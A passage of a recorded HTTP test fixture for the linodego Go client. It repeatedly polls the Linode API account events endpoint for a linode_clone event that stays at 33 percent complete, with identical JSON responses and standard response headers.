User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 21.738701, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 21.804039, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 21.869019, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 22.129214, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 22.186173, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 22.25657, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 22.323476, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 22.383929, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 22.441394, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 22.505176, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 22.920308, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 22.980946, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 23.03884, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 23.105606, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 23.436876, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 23.502048, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 23.565704, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 33, "time_remaining": null, "rate": null, "duration": 23.628918, 